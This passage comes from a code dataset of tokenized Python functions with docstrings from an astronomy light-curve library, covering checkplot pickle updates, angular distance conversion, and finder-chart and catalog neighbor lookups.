'checkplot.pkl' in the current\n        working directory.\n\n    outgzip : bool\n        This controls whether to gzip the output pickle. It turns out that this\n        is the slowest bit in the output process, so if you're after speed, best\n        not to use this. This is False by default since it turns out that gzip\n        actually doesn't save that much space (29 MB vs. 35 MB for the average\n        checkplot pickle).\n\n    pickleprotocol : int or None\n        This sets the pickle file protocol to use when writing the pickle:\n\n        If None, will choose a protocol using the following rules:\n\n        - 4 -> default in Python >= 3.4 - fast but incompatible with Python 2\n        - 3 -> default in Python 3.0-3.3 - mildly fast\n        - 2 -> default in Python 2 - very slow, but compatible with Python 2/3\n\n        The default protocol kwarg is None, this will make an automatic choice\n        for pickle protocol that's best suited for the version of Python in\n        use. Note that this will make pickles generated by Py3 incompatible with\n        Py2.\n\n    returndict : bool\n        If this is True, will return the checkplotdict instead of returning the\n        filename of the output checkplot pickle.\n\n    Returns\n    -------\n\n    dict or str\n        If returndict is False, will return the path to the generated checkplot\n        pickle file. If returndict is True, will return the checkplotdict\n        instead.", "id": "f14725:m1"}
{"signature": "def checkplot_pickle_update(<EOL>currentcp,<EOL>updatedcp,<EOL>outfile=None,<EOL>outgzip=False,<EOL>pickleprotocol=None,<EOL>verbose=True<EOL>):", "body": "<EOL>if sys.version_info[:<NUM_LIT:2>] > (<NUM_LIT:3>,<NUM_LIT:2>):<EOL><INDENT>if not outfile and isinstance(currentcp,str):<EOL><INDENT>plotfpath = currentcp<EOL><DEDENT>elif outfile:<EOL><INDENT>plotfpath = outfile<EOL><DEDENT>elif isinstance(currentcp, dict) and currentcp['<STR_LIT>']:<EOL><INDENT>if outgzip:<EOL><INDENT>plotfpath = '<STR_LIT>' % currentcp['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>plotfpath = '<STR_LIT>' % currentcp['<STR_LIT>']<EOL><DEDENT><DEDENT>else:<EOL><INDENT>plotfpath = None<EOL><DEDENT>if (isinstance(currentcp, str) and os.path.exists(currentcp)):<EOL><INDENT>cp_current = _read_checkplot_picklefile(currentcp)<EOL><DEDENT>elif isinstance(currentcp, dict):<EOL><INDENT>cp_current = currentcp<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(os.path.abspath(currentcp), type(currentcp)))<EOL>return None<EOL><DEDENT>if (isinstance(updatedcp, str) and os.path.exists(updatedcp)):<EOL><INDENT>cp_updated = _read_checkplot_picklefile(updatedcp)<EOL><DEDENT>elif isinstance(updatedcp, dict):<EOL><INDENT>cp_updated = updatedcp<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(os.path.abspath(updatedcp), type(updatedcp)))<EOL>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if (not outfile and<EOL>(isinstance(currentcp, str) or isinstance(currentcp, unicode))):<EOL><INDENT>plotfpath = currentcp<EOL><DEDENT>elif outfile:<EOL><INDENT>plotfpath = outfile<EOL><DEDENT>elif isinstance(currentcp, dict) and currentcp['<STR_LIT>']:<EOL><INDENT>if outgzip:<EOL><INDENT>plotfpath = '<STR_LIT>' % currentcp['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>plotfpath = '<STR_LIT>' % currentcp['<STR_LIT>']<EOL><DEDENT><DEDENT>else:<EOL><INDENT>plotfpath = None<EOL><DEDENT>if ((isinstance(currentcp, str) or isinstance(currentcp, unicode)) and<EOL>os.path.exists(currentcp)):<EOL><INDENT>cp_current = _read_checkplot_picklefile(currentcp)<EOL><DEDENT>elif isinstance(currentcp,dict):<EOL><INDENT>cp_current = currentcp<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(os.path.abspath(currentcp), type(currentcp)))<EOL>return None<EOL><DEDENT>if ((isinstance(updatedcp, str) or isinstance(updatedcp, unicode)) and<EOL>os.path.exists(updatedcp)):<EOL><INDENT>cp_updated = _read_checkplot_picklefile(updatedcp)<EOL><DEDENT>elif isinstance(updatedcp, dict):<EOL><INDENT>cp_updated = updatedcp<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(os.path.abspath(updatedcp), type(updatedcp)))<EOL>return None<EOL><DEDENT><DEDENT>cp_current.update(cp_updated)<EOL>if not plotfpath and outgzip:<EOL><INDENT>plotfpath = '<STR_LIT>' % cp_current['<STR_LIT>']<EOL><DEDENT>elif (not plotfpath) and (not outgzip):<EOL><INDENT>plotfpath = '<STR_LIT>' % cp_current['<STR_LIT>']<EOL><DEDENT>if plotfpath.endswith('<STR_LIT>'):<EOL><INDENT>outgzip = True<EOL><DEDENT>return _write_checkplot_picklefile(cp_current,<EOL>outfile=plotfpath,<EOL>outgzip=outgzip,<EOL>protocol=pickleprotocol)<EOL>", "docstring": "This updates the current checkplotdict with updated values provided.\n\n\n    Parameters\n    ----------\n\n    currentcp : dict or str\n        This is either a checkplotdict produced by `checkplot_pickle` above or a\n        checkplot pickle file produced by the same function. This checkplot will\n        be updated from the `updatedcp` checkplot.\n\n    updatedcp : dict or str\n        This is either a checkplotdict produced by `checkplot_pickle` above or a\n        checkplot pickle file produced by the same function. This checkplot will\n        be the source of the update to the  `currentcp` checkplot.\n\n    outfile : str or None\n        The name of the output checkplot pickle file. The function will output\n        the new checkplot gzipped pickle file to `outfile` if outfile is a\n        filename. If `currentcp` is a file and `outfile`, this will be set to\n        that filename, so the function updates it in place.\n\n    outgzip : bool\n        This controls whether to gzip the output pickle. It turns out that this\n        is the slowest bit in the output process, so if you're after speed, best\n        not to use this. This is False by default since it turns out that gzip\n        actually doesn't save that much space (29 MB vs. 35 MB for the average\n        checkplot pickle).\n\n    pickleprotocol : int or None\n        This sets the pickle file protocol to use when writing the pickle:\n\n        If None, will choose a protocol using the following rules:\n\n        - 4 -> default in Python >= 3.4 - fast but incompatible with Python 2\n        - 3 -> default in Python 3.0-3.3 - mildly fast\n        - 2 -> default in Python 2 - very slow, but compatible with Python 2/3\n\n        The default protocol kwarg is None, this will make an automatic choice\n        for pickle protocol that's best suited for the version of Python in\n        use. Note that this will make pickles generated by Py3 incompatible with\n        Py2.\n\n    verbose : bool\n        If True, will indicate progress and warn about problems.\n\n    Returns\n    -------\n\n    str\n        The path to the updated checkplot pickle file. If `outfile` was None and\n        `currentcp` was a filename, this will return `currentcp` to indicate\n        that the checkplot pickle file was updated in place.", "id": "f14725:m2"}
{"signature": "def _xyzdist_to_distarcsec(xyzdist):", "body": "return np.degrees(<NUM_LIT>*np.arcsin(xyzdist/<NUM_LIT>))*<NUM_LIT><EOL>", "docstring": "This inverts the xyz unit vector distance -> angular distance relation.\n\n    Parameters\n    ----------\n\n    xyzdist : float or array-like\n        This is the distance in xyz vector space generated from a transform of\n        (RA,Dec) - > (x,y,z)\n\n    Returns\n    -------\n\n    dist_arcseconds : float or array-like\n        The distance in arcseconds.", "id": "f14726:m0"}
{"signature": "def _pkl_finder_objectinfo(<EOL>objectinfo,<EOL>varinfo,<EOL>findercmap,<EOL>finderconvolve,<EOL>sigclip,<EOL>normto,<EOL>normmingap,<EOL>deredden_object=True,<EOL>custom_bandpasses=None,<EOL>lclistpkl=None,<EOL>nbrradiusarcsec=<NUM_LIT>,<EOL>maxnumneighbors=<NUM_LIT:5>,<EOL>plotdpi=<NUM_LIT:100>,<EOL>findercachedir='<STR_LIT>',<EOL>verbose=True,<EOL>gaia_submit_timeout=<NUM_LIT>,<EOL>gaia_submit_tries=<NUM_LIT:3>,<EOL>gaia_max_timeout=<NUM_LIT>,<EOL>gaia_mirror=None,<EOL>fast_mode=False,<EOL>complete_query_later=True<EOL>):", "body": "<EOL>if fast_mode is True:<EOL><INDENT>skyview_lookup = False<EOL>skyview_timeout = <NUM_LIT><EOL>skyview_retry_failed = False<EOL>dust_timeout = <NUM_LIT><EOL>gaia_submit_timeout = <NUM_LIT><EOL>gaia_max_timeout = <NUM_LIT><EOL>gaia_submit_tries = <NUM_LIT:2><EOL>complete_query_later = False<EOL>search_simbad = False<EOL><DEDENT>elif isinstance(fast_mode, (int, float)) and fast_mode > <NUM_LIT:0.0>:<EOL><INDENT>skyview_lookup = True<EOL>skyview_timeout = fast_mode<EOL>skyview_retry_failed = False<EOL>dust_timeout = fast_mode<EOL>gaia_submit_timeout = <NUM_LIT>*fast_mode<EOL>gaia_max_timeout = fast_mode<EOL>gaia_submit_tries = <NUM_LIT:2><EOL>complete_query_later = False<EOL>search_simbad = False<EOL><DEDENT>else:<EOL><INDENT>skyview_lookup = True<EOL>skyview_timeout = <NUM_LIT><EOL>skyview_retry_failed = True<EOL>dust_timeout = <NUM_LIT><EOL>search_simbad = True<EOL><DEDENT>if (isinstance(objectinfo, dict) and<EOL>('<STR_LIT>' in objectinfo or '<STR_LIT>' in objectinfo) and<EOL>'<STR_LIT>' in objectinfo and '<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] and objectinfo['<STR_LIT>']):<EOL><INDENT>if '<STR_LIT>' not in objectinfo:<EOL><INDENT>objectid = objectinfo['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>objectid = objectinfo['<STR_LIT>']<EOL><DEDENT>if verbose and skyview_lookup:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(objectid, objectinfo['<STR_LIT>'], objectinfo['<STR_LIT>']))<EOL><DEDENT>elif verbose and not skyview_lookup:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(objectid, objectinfo['<STR_LIT>'], objectinfo['<STR_LIT>']))<EOL><DEDENT>try:<EOL><INDENT>if skyview_lookup:<EOL><INDENT>try:<EOL><INDENT>finder, finderheader = skyview_stamp(<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>convolvewith=finderconvolve,<EOL>verbose=verbose,<EOL>flip=False,<EOL>cachedir=findercachedir,<EOL>timeout=skyview_timeout,<EOL>retry_failed=skyview_retry_failed,<EOL>)<EOL><DEDENT>except OSError as e:<EOL><INDENT>if not fast_mode:<EOL><INDENT>LOGERROR(<EOL>'<STR_LIT>'<EOL>)<EOL>finder, finderheader = skyview_stamp(<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>convolvewith=finderconvolve,<EOL>verbose=verbose,<EOL>flip=False,<EOL>cachedir=findercachedir,<EOL>forcefetch=True,<EOL>timeout=skyview_timeout,<EOL>retry_failed=False  <EOL>)<EOL><DEDENT><DEDENT>finderfig = plt.figure(figsize=(<NUM_LIT:3>,<NUM_LIT:3>),dpi=plotdpi)<EOL>finderwcs = WCS(finderheader)<EOL>ax = finderfig.add_subplot(<NUM_LIT>, frameon=False)<EOL>ax.imshow(finder, cmap=findercmap, origin='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>finder, finderheader, finderfig, finderwcs = (<EOL>None, None, None, None<EOL>)<EOL><DEDENT>if (lclistpkl is not None and<EOL>nbrradiusarcsec is not None and<EOL>nbrradiusarcsec > <NUM_LIT:0.0>):<EOL><INDENT>if isinstance(lclistpkl, str) and os.path.exists(lclistpkl):<EOL><INDENT>if lclistpkl.endswith('<STR_LIT>'):<EOL><INDENT>infd = gzip.open(lclistpkl,'<STR_LIT:rb>')<EOL><DEDENT>else:<EOL><INDENT>infd = open(lclistpkl,'<STR_LIT:rb>')<EOL><DEDENT>lclist = pickle.load(infd)<EOL>infd.close()<EOL><DEDENT>elif isinstance(lclistpkl, dict):<EOL><INDENT>lclist = lclistpkl<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>lclist = dict()<EOL><DEDENT>if '<STR_LIT>' not in lclist:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (objectid, lclistpkl))<EOL>neighbors = None<EOL>kdt = None<EOL><DEDENT>else:<EOL><INDENT>kdt = lclist['<STR_LIT>']<EOL>obj_cosdecl = np.cos(np.radians(objectinfo['<STR_LIT>']))<EOL>obj_sindecl = np.sin(np.radians(objectinfo['<STR_LIT>']))<EOL>obj_cosra = np.cos(np.radians(objectinfo['<STR_LIT>']))<EOL>obj_sinra = np.sin(np.radians(objectinfo['<STR_LIT>']))<EOL>obj_xyz = np.column_stack((obj_cosra*obj_cosdecl,<EOL>obj_sinra*obj_cosdecl,<EOL>obj_sindecl))<EOL>match_xyzdist = (<EOL><NUM_LIT> * np.sin(np.radians(nbrradiusarcsec/<NUM_LIT>)/<NUM_LIT>)<EOL>)<EOL>matchdists, matchinds = kdt.query(<EOL>obj_xyz,<EOL>k=maxnumneighbors+<NUM_LIT:1>,  <EOL>distance_upper_bound=match_xyzdist<EOL>)<EOL>mdsorted = np.argsort(matchdists[<NUM_LIT:0>])<EOL>matchdists = matchdists[<NUM_LIT:0>][mdsorted]<EOL>matchinds = matchinds[<NUM_LIT:0>][mdsorted]<EOL>neighbors = []<EOL>nbrind = <NUM_LIT:0><EOL>for md, mi in zip(matchdists, matchinds):<EOL><INDENT>if np.isfinite(md) and md > <NUM_LIT:0.0>:<EOL><INDENT>if skyview_lookup:<EOL><INDENT>pixcoords = finderwcs.all_world2pix(<EOL>np.array([[lclist['<STR_LIT>']['<STR_LIT>'][mi],<EOL>lclist['<STR_LIT>']['<STR_LIT>'][mi]]]),<EOL><NUM_LIT:0><EOL>)<EOL>thisnbr = {<EOL>'<STR_LIT>':(<EOL>lclist['<STR_LIT>']['<STR_LIT>'][mi]<EOL>),<EOL>'<STR_LIT>':lclist['<STR_LIT>']['<STR_LIT>'][mi],<EOL>'<STR_LIT>':lclist['<STR_LIT>']['<STR_LIT>'][mi],<EOL>'<STR_LIT>':pixcoords[<NUM_LIT:0>,<NUM_LIT:0>],<EOL>'<STR_LIT>':<NUM_LIT> - pixcoords[<NUM_LIT:0>,<NUM_LIT:1>],<EOL>'<STR_LIT>':_xyzdist_to_distarcsec(md),<EOL>'<STR_LIT>': lclist['<STR_LIT>']['<STR_LIT>'][mi]<EOL>}<EOL>neighbors.append(thisnbr)<EOL>nbrind = nbrind+<NUM_LIT:1><EOL>annotatex = pixcoords[<NUM_LIT:0>,<NUM_LIT:0>]<EOL>annotatey = pixcoords[<NUM_LIT:0>,<NUM_LIT:1>]<EOL>if ((<NUM_LIT> - annotatex) > <NUM_LIT>):<EOL><INDENT>offx = annotatex + <NUM_LIT><EOL>xha = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>offx = annotatex - <NUM_LIT><EOL>xha = '<STR_LIT>'<EOL><DEDENT>if ((<NUM_LIT> - annotatey) > <NUM_LIT>):<EOL><INDENT>offy = annotatey - <NUM_LIT><EOL>yha = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>offy = annotatey + <NUM_LIT><EOL>yha = '<STR_LIT>'<EOL><DEDENT>ax.annotate('<STR_LIT>' % nbrind,<EOL>(annotatex, annotatey),<EOL>xytext=(offx, offy),<EOL>arrowprops={'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT:width>':<NUM_LIT:1.0>,<EOL>'<STR_LIT>':<NUM_LIT:1.0>,<EOL>'<STR_LIT>':<NUM_LIT:0.1>,<EOL>'<STR_LIT>':<NUM_LIT:0.0>},<EOL>color='<STR_LIT>',<EOL>horizontalalignment=xha,<EOL>verticalalignment=yha)<EOL><DEDENT>else:<EOL><INDENT>thisnbr = {<EOL>'<STR_LIT>':(<EOL>lclist['<STR_LIT>']['<STR_LIT>'][mi]<EOL>),<EOL>'<STR_LIT>':lclist['<STR_LIT>']['<STR_LIT>'][mi],<EOL>'<STR_LIT>':lclist['<STR_LIT>']['<STR_LIT>'][mi],<EOL>'<STR_LIT>':<NUM_LIT:0.0>,<EOL>'<STR_LIT>':<NUM_LIT:0.0>,<EOL>'<STR_LIT>':_xyzdist_to_distarcsec(md),<EOL>'<STR_LIT>': lclist['<STR_LIT>']['<STR_LIT>'][mi]<EOL>}<EOL>neighbors.append(thisnbr)<EOL>nbrind = nbrind+<NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>neighbors = None<EOL>kdt = None<EOL><DEDENT>if skyview_lookup:<EOL><INDENT>ax.set_xticks([])<EOL>ax.set_yticks([])<EOL>object_pixcoords = finderwcs.all_world2pix(<EOL>[[objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>']]],<EOL><NUM_LIT:0><EOL>)<EOL>ax.axvline(<EOL>x=object_pixcoords[<NUM_LIT:0>,<NUM_LIT:0>],<EOL>ymin=<NUM_LIT>,<EOL>ymax=<NUM_LIT>,<EOL>linewidth=<NUM_LIT:1>,<EOL>color='<STR_LIT:b>'<EOL>)<EOL>ax.axhline(<EOL>y=object_pixcoords[<NUM_LIT:0>,<NUM_LIT:1>],<EOL>xmin=<NUM_LIT>,<EOL>xmax=<NUM_LIT>,<EOL>linewidth=<NUM_LIT:1>,<EOL>color='<STR_LIT:b>'<EOL>)<EOL>ax.set_frame_on(False)<EOL>finderpng = StrIO()<EOL>finderfig.savefig(finderpng,<EOL>bbox_inches='<STR_LIT>',<EOL>pad_inches=<NUM_LIT:0.0>, format='<STR_LIT>')<EOL>plt.close()<EOL>finderpng.seek(<NUM_LIT:0>)<EOL>finderb64 = base64.b64encode(finderpng.read())<EOL>finderpng.close()<EOL><DEDENT>else:<EOL><INDENT>finderb64 = None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(objectid, objectinfo['<STR_LIT>'], objectinfo['<STR_LIT>']))<EOL>finderb64 = None<EOL>neighbors = None<EOL>kdt = None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>finderb64 = None<EOL>neighbors = None<EOL>kdt = None<EOL><DEDENT>if isinstance(objectinfo, dict):<EOL><INDENT>if '<STR_LIT>' not in objectinfo and '<STR_LIT>' in objectinfo:<EOL><INDENT>objectid = objectinfo['<STR_LIT>']<EOL>objectinfo['<STR_LIT>'] = objectid<EOL><DEDENT>elif '<STR_LIT>' in objectinfo:<EOL><INDENT>objectid = objectinfo['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>objectid = os.urandom(<NUM_LIT:12>).hex()[:<NUM_LIT:7>]<EOL>objectinfo['<STR_LIT>'] = objectid<EOL>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>nbrfeat = neighbor_gaia_features(<EOL>objectinfo,<EOL>kdt,<EOL>nbrradiusarcsec,<EOL>verbose=False,<EOL>gaia_submit_timeout=gaia_submit_timeout,<EOL>gaia_submit_tries=gaia_submit_tries,<EOL>gaia_max_timeout=gaia_max_timeout,<EOL>gaia_mirror=gaia_mirror,<EOL>complete_query_later=complete_query_later,<EOL>search_simbad=search_simbad<EOL>)<EOL>objectinfo.update(nbrfeat)<EOL>if ( ('<STR_LIT>' not in objectinfo) or<EOL>( ('<STR_LIT>' in objectinfo) and<EOL>( (objectinfo['<STR_LIT>'] is None) or<EOL>(not np.isfinite(objectinfo['<STR_LIT>'])) ) ) ):<EOL><INDENT>if '<STR_LIT>' in nbrfeat['<STR_LIT>']:<EOL><INDENT>objectinfo['<STR_LIT>'] = nbrfeat['<STR_LIT>'][<NUM_LIT:0>]<EOL>objectinfo['<STR_LIT>'] = nbrfeat['<STR_LIT>'][<NUM_LIT:0>]<EOL>objectinfo['<STR_LIT>'] = '<STR_LIT>'<EOL>if verbose:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>objectinfo['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if ( ('<STR_LIT>' not in objectinfo) or<EOL>( ('<STR_LIT>' in objectinfo) and<EOL>( (objectinfo['<STR_LIT>'] is None) or<EOL>(not np.isfinite(objectinfo['<STR_LIT>'])) ) ) ):<EOL><INDENT>if '<STR_LIT>' in nbrfeat['<STR_LIT>']:<EOL><INDENT>objectinfo['<STR_LIT>'] = nbrfeat['<STR_LIT>'][<NUM_LIT:0>]<EOL>objectinfo['<STR_LIT>'] = nbrfeat['<STR_LIT>'][<NUM_LIT:0>]<EOL>objectinfo['<STR_LIT>'] = '<STR_LIT>'<EOL>if verbose:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>objectinfo['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if '<STR_LIT>' in objectinfo['<STR_LIT>']:<EOL><INDENT>objectinfo['<STR_LIT>'] = objectinfo['<STR_LIT>'][<NUM_LIT:0>]<EOL>objectinfo['<STR_LIT>'] = objectinfo['<STR_LIT>'][<NUM_LIT:0>]<EOL>objectinfo['<STR_LIT>'] = objectinfo['<STR_LIT>'][<NUM_LIT:0>]<EOL>objectinfo['<STR_LIT>'] = objectinfo['<STR_LIT>'][<NUM_LIT:0>]<EOL>objectinfo['<STR_LIT>'] = (<EOL>objectinfo['<STR_LIT>'][<NUM_LIT:0>]<EOL>)<EOL>objectinfo['<STR_LIT>'] = objectinfo['<STR_LIT>'][<NUM_LIT:0>]<EOL>objectinfo['<STR_LIT>'] = objectinfo['<STR_LIT>'][<NUM_LIT:0>]<EOL>objectinfo['<STR_LIT>'] = objectinfo['<STR_LIT>'][<NUM_LIT:0>]<EOL>objectinfo['<STR_LIT>'] = objectinfo['<STR_LIT>'][<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>objectinfo['<STR_LIT>'] = None<EOL>objectinfo['<STR_LIT>'] = np.nan<EOL>objectinfo['<STR_LIT>'] = np.nan<EOL>objectinfo['<STR_LIT>'] = np.nan<EOL>objectinfo['<STR_LIT>'] = np.nan<EOL>objectinfo['<STR_LIT>'] = np.nan<EOL>objectinfo['<STR_LIT>'] = np.nan<EOL>objectinfo['<STR_LIT>'] = np.nan<EOL>objectinfo['<STR_LIT>'] = np.nan<EOL><DEDENT>if ('<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>']) and<EOL>'<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>'])):<EOL><INDENT>try:<EOL><INDENT>ticres = tic_conesearch(objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>radius_arcmin=<NUM_LIT>/<NUM_LIT>,<EOL>verbose=verbose,<EOL>timeout=gaia_max_timeout,<EOL>maxtries=gaia_submit_tries)<EOL>if ticres is not None:<EOL><INDENT>with open(ticres['<STR_LIT>'],'<STR_LIT:r>') as infd:<EOL><INDENT>ticinfo = json.load(infd)<EOL><DEDENT>if ('<STR_LIT:data>' in ticinfo and<EOL>len(ticinfo['<STR_LIT:data>']) > <NUM_LIT:0> and<EOL>isinstance(ticinfo['<STR_LIT:data>'][<NUM_LIT:0>], dict)):<EOL><INDENT>objectinfo['<STR_LIT>'] = str(ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>'])<EOL>objectinfo['<STR_LIT>'] = ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT:version>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT:d>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None))):<EOL><INDENT>objectinfo['<STR_LIT>'] = ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or<EOL>not np.isfinite(objectinfo['<STR_LIT>'])))):<EOL><INDENT>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or<EOL>not np.isfinite(objectinfo['<STR_LIT>'])))):<EOL><INDENT>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>if (objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>']) and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>'])):<EOL><INDENT>objectinfo['<STR_LIT>'] = (<EOL>magnitudes.absolute_gaia_magnitude(<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>']<EOL>)<EOL>)<EOL><DEDENT><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or<EOL>not np.isfinite(objectinfo['<STR_LIT>'])))):<EOL><INDENT>objectinfo['<STR_LIT>'] = ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or<EOL>not np.isfinite(objectinfo['<STR_LIT>'])))):<EOL><INDENT>objectinfo['<STR_LIT>'] = ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL>objectinfo['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or<EOL>not np.isfinite(objectinfo['<STR_LIT>'])))):<EOL><INDENT>objectinfo['<STR_LIT>'] = 